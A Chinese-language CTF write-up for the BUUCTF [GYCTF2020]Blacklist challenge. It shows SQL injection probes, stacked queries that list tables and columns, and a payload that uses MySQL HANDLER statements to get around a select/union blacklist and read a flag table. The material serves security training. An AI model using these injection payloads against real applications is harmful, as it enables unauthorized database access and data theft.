web buuctf [GYCTF2020]Blacklist1

考点：堆叠注入；mysql查询语句handler

1.进行注入测试：

注入1' 提示语法错误；

注入1' or '1=1'# 返回表数据，有回显，存在字符型可注入漏洞；

2.联合查询：1' union select 1# 回显过滤

3.根据过滤事项，应该是堆叠查询

a.1'; show tables;#

b.1';show columns from FlagHere;# 

4.因为存在较多的过滤，利用Mysql数据库中的查询语法handler

  mysql除可使用select查询表中的数据，也可使用handler语句，这条语句使我们能够一行一行的浏览一个表中的数据，不过handler语句并不具备select语句的所有功能。它是mysql专用的语句，并没有包含到SQL标准中。 

handler语句的语法如下：
HANDLER tbl_name OPEN [ [AS] alias]
 
HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,...)
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }
    [ WHERE where_condition ] [LIMIT ... ]
HANDLER tbl_name READ { FIRST | NEXT }
    [ WHERE where_condition ] [LIMIT ... ]
 
HANDLER tbl_name CLOSE
    通过HANDLER tbl_name OPEN打开一张表，无返回结果，实际上我们在这里声明了一个名为tb1_name的句柄。
    通过HANDLER tbl_name READ FIRST获取句柄的第一行，通过READ NEXT依次获取其它行。最后一行执行之后再执行NEXT会返回一个空的结果。
    通过HANDLER tbl_name CLOSE来关闭打开的句柄。
 

构造payload：1' ; handler FlagHere open;handler FlagHere read first;handler FlagHere close;

5.得到flag:

flag{bbbba413-e57a-423d-9906-c3c873555e11}